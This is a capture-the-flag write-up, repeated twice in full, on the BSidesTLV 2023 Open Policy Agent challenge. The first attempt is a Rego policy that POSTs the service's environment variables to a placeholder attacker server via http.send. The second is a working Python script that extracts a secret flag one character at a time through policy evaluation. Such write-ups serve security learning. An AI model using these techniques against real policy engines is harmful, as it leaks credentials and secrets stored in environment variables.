Starting from docker-compose we notice two main services: backend, and opa.
Flag resides under env variable: FLAG under opa.

Backend is an application server written in go. viewing the src code reveals
two main endpoints: /add and /eval.

After some research about OPA (Open Policy Agent -
```https://www.openpolicyagent.org/docs/latest/```) its understandable that
the service allows to create a policy and then evaluate the policy.

On creation, there is a regexp forbidding us from putting in the policy any
char different than: ```a-zA-Z0-9=\s,:[]{}()".``` those characters.

A nice playground i used to get to know the rego (the language used to write
policies): ```https://play.openpolicyagent.org/```.

Since we know that the flag is in the env variable, I started to research how
to access env. variables from a policy, and tackled this post:  
`https://lia.mg/posts/malicious-rego/. `

Sounds promising! let's try to leak the flag via http to our endpoint, by
creating the next policy:

```  
allow {  
   request := {  
       "url": "https://MY_SERVER",  
       "method": "POST",  
       "body": opa.runtime().env,  
   }  
   response := http.send(request)  
}  
```

But unfortunately after countless tries it didn't work.

Spending some time after, continued reading the docs and tackled some builtin
functions on strings which seemed to be very interesting:  
startsWith and substring! Ok, what about leaking each character of the flag by
checking if it starts with something? sounds legit!

let's create the policy:

```  
{  
	"policy": "allow{startswith(opa.runtime().env[\"FLAG\"],\"BSidesTLV2023{\")==true}"  
}  
```

And we get res: true! That's great, but there is problem - once I wrote the
script that leaks each character, when we reach an underscore - we cannot put
it as prefix since the regexp forbids us from using underscore, so instead I
used substring:

```  
{  
	"policy": "a{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"  
}  
```

eval allows us to send parameters to the policy as input, so instead of
creating a lot of policies, we create one, and then evaluating it with two
parameters:  
the first is the char index in the flag, and the second is the char itself:

For example,  
```  
https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval  
{  
   "uuid": "c180bba7-0609-43db-8d36-e7b0d462e5b6",  
   "input": "{\"input\":{\"index\":0, \"cand\":\"B\"}}"  
}  
```  
returns True!

When the script doesn't find a match for the char, it means that its probably
an under score of some other forbidden character.  
The script:

```  
import requests  
import string  
import json

headers = {"Content-Type": "application/json; charset=UTF-8"}  
payload = {"policy":
"allow{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"}  
response = requests.post("https://opa-opa-opa-opa-opa-
hei.ctf.bsidestlv.com/add",  
                        headers=headers,  
                        data=json.dumps(payload))

policy_uuid = json.loads(response.text)

flag_length = 50  
flag = "BSidesTLV2023{"  
allowed_alphabet = string.digits + string.ascii_letters + "}"

for index in range(len(flag), flag_length, 1):  
   found = False  
   for cand in allowed_alphabet:  
       payload = {  
           "uuid": policy_uuid["uuid"],  
           "input": json.dumps({"input": {"index": index, "cand": cand}})  
       }  
       res = requests.post("https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval",  
                           headers=headers,  
                           data=json.dumps(payload))

       found = json.loads(res.text)["res"]  
       if found:  
           flag += cand  
           print(f"Found: {flag}")  
           if cand == "}":  
               print("Done")  
               exit(0)  
           break

   if not found:  
       flag += "?"  
```

Now we are left with some guessing:

`BSidesTLV2023{0paOpaoPaop?H3i?Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop?H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop_H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaopaH3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaopAH3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop4H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop@H3i_Policy3vAL}` correct!

captainB  
CamelRidersStarting from docker-compose we notice two main services: backend, and opa.
Flag resides under env variable: FLAG under opa.

Backend is an application server written in go. viewing the src code reveals
two main endpoints: /add and /eval.

After some research about OPA (Open Policy Agent -
```https://www.openpolicyagent.org/docs/latest/```) its understandable that
the service allows to create a policy and then evaluate the policy.

On creation, there is a regexp forbidding us from putting in the policy any
char different than: ```a-zA-Z0-9=\s,:[]{}()".``` those characters.

A nice playground i used to get to know the rego (the language used to write
policies): ```https://play.openpolicyagent.org/```.

Since we know that the flag is in the env variable, I started to research how
to access env. variables from a policy, and tackled this post:  
`https://lia.mg/posts/malicious-rego/. `

Sounds promising! let's try to leak the flag via http to our endpoint, by
creating the next policy:

```  
allow {  
request := {  
"url": "https://MY_SERVER",  
"method": "POST",  
"body": opa.runtime().env,  
}  
response := http.send(request)  
}  
```

But unfortunately after countless tries it didn't work.

Spending some time after, continued reading the docs and tackled some builtin
functions on strings which seemed to be very interesting:  
startsWith and substring! Ok, what about leaking each character of the flag by
checking if it starts with something? sounds legit!

let's create the policy:

```  
{  
"policy":
"allow{startswith(opa.runtime().env[\"FLAG\"],\"BSidesTLV2023{\")==true}"  
}  
```

And we get res: true! That's great, but there is problem - once I wrote the
script that leaks each character, when we reach an underscore - we cannot put
it as prefix since the regexp forbids us from using underscore, so instead I
used substring:

```  
{  
"policy":
"a{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"  
}  
```

eval allows us to send parameters to the policy as input, so instead of
creating a lot of policies, we create one, and then evaluating it with two
parameters:  
the first is the char index in the flag, and the second is the char itself:

For example,  
```  
https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval  
{  
"uuid": "c180bba7-0609-43db-8d36-e7b0d462e5b6",  
"input": "{\"input\":{\"index\":0, \"cand\":\"B\"}}"  
}  
```  
returns True!

When the script doesn't find a match for the char, it means that its probably
an under score of some other forbidden character.  
The script:

```  
import requests  
import string  
import json

headers = {"Content-Type": "application/json; charset=UTF-8"}  
payload = {"policy":
"allow{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"}  
response = requests.post("https://opa-opa-opa-opa-opa-
hei.ctf.bsidestlv.com/add",  
headers=headers,  
data=json.dumps(payload))

policy_uuid = json.loads(response.text)

flag_length = 50  
flag = "BSidesTLV2023{"  
allowed_alphabet = string.digits + string.ascii_letters + "}"

for index in range(len(flag), flag_length, 1):  
found = False  
for cand in allowed_alphabet:  
payload = {  
"uuid": policy_uuid["uuid"],  
"input": json.dumps({"input": {"index": index, "cand": cand}})  
}  
res = requests.post("https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval",  
headers=headers,  
data=json.dumps(payload))

found = json.loads(res.text)["res"]  
if found:  
flag += cand  
print(f"Found: {flag}")  
if cand == "}":  
print("Done")  
exit(0)  
break

if not found:  
flag += "?"  
```

Now we are left with some guessing:

`BSidesTLV2023{0paOpaoPaop?H3i?Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop?H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop_H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaopaH3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaopAH3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop4H3i_Policy3vAL}`

`BSidesTLV2023{0paOpaoPaop@H3i_Policy3vAL}` correct!

captainB  
CamelRiders